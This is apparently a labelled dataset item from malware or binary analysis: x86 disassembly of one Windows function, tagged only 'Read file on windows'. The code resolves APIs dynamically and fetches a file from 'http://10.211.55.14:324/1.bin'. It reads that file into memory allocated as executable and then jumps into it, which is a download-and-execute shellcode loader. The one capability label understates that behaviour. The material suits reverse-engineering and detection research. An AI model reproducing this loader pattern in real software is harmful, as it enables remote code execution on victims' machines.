Function at 0x401ee0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e92b
mov eax, dword fs:[0]
push eax
sub esp, 0x4e0
mov eax, dword [0x4266ac]
xor eax, esp
mov dword [esp + 0x4d8], eax
push ebx
push esi
push edi
mov eax, dword [0x4266ac]
xor eax, esp
push eax
lea eax, [esp + 0x4f0]
mov dword fs:[0], eax
call fcn.00401c20
test al, al
jne 0x402206
lea ecx, [esp + 0xcc]
call fcn.00401ad0
cmp byte [0x427a28], 0
jne 0x401f46
xor ecx, ecx
jmp 0x401f59
mov ecx, 0x427a28
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401f50
sub ecx, edx
push ecx
push ecx
push 0x427a28
lea ecx, [esp + 0xd8]
call fcn.00403c30
cmp eax, 0xffffffff
setne bl
cmp dword [esp + 0xe0], 0x10
jb 0x401f8b
push dword [esp + 0xcc]
call fcn.00405c5a
add esp, 4
test bl, bl
jne 0x402206
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x427a30
push 0x427a3c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
call eax
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x401fdc
push 0x427a4c
call esi
mov esi, eax
test esi, esi
je 0x401fdc
push 0x427a58
push esi
call edi
test eax, eax
jne 0x401fe3
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 1
jmp 0x402208
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
push str.http:__10.211.55.14:324_1.bin
push 0
mov dword [esp + 0x24], 0
call eax
test eax, eax
js 0x402141
sub esp, 0x10
lea ecx, [esp + 0x34]
call fcn.004037a0
mov dword [esp + 0x4f8], 0
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x24]
mov eax, dword [eax + 4]
add eax, ecx
mov ecx, 0
test byte [eax + 0xc], 6
cmovne eax, ecx
test eax, eax
je 0x4020d8
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0x400
lea edx, [esp + 0xec]
mov dword [esp + 0x1c], ecx
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x40209d
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40209d
push 0
push eax
lea eax, [esp + 0xec]
push eax
lea ecx, [esp + 0x30]
call fcn.00402790
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
mov ecx, dword [eax]
push edx
push 0x400
lea edx, [esp + 0xec]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x402061
lea ecx, [esp + 0x28]
call fcn.00404140
test eax, eax
jne 0x4020d8
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x24]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x4020c6
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x4020d8
push 0
call fcn.004017a0
mov dword [esp + 0x4f8], 0xffffffff
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x24], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [esp + ecx + 0x20], eax
lea ecx, [esp + 0x28]
call fcn.00402eb0
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x24], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [esp + ecx + 0x20], eax
lea eax, [esp + 0x84]
push eax
mov dword [esp + 0x88], vtable.std::ios_base.0
call fcn.00405780
add esp, 4
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x427a70
push 0x4279d4
call fcn.00406b07
push 2
mov esi, eax
push 0
push esi
call fcn.00406bab
add esp, 0x14
push esi
call fcn.00406f83
add esp, 4
mov ebx, eax
push 0
push 0
push esi
call fcn.00406bab
add esp, 0xc
push ebx
call fcn.00406feb
add esp, 4
mov dword [esp + 0x20], eax
push esi
push 1
push ebx
push eax
call fcn.00407240
add esp, 0x10
push 0x427a8c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x427a74
push eax
call edi
push 0x40
mov esi, eax
push 0x3000
lea eax, [esp + 0x24]
push eax
push 0
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
jne 0x402206
push ebx
push dword [esp + 0x24]
push dword [esp + 0x20]
call fcn.00408030
add esp, 0xc
call dword [esp + 0x18]
xor al, al
mov ecx, dword [esp + 0x4f0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4d8]
xor ecx, esp
call fcn.00405aaf
mov esp, ebp
pop ebp
ret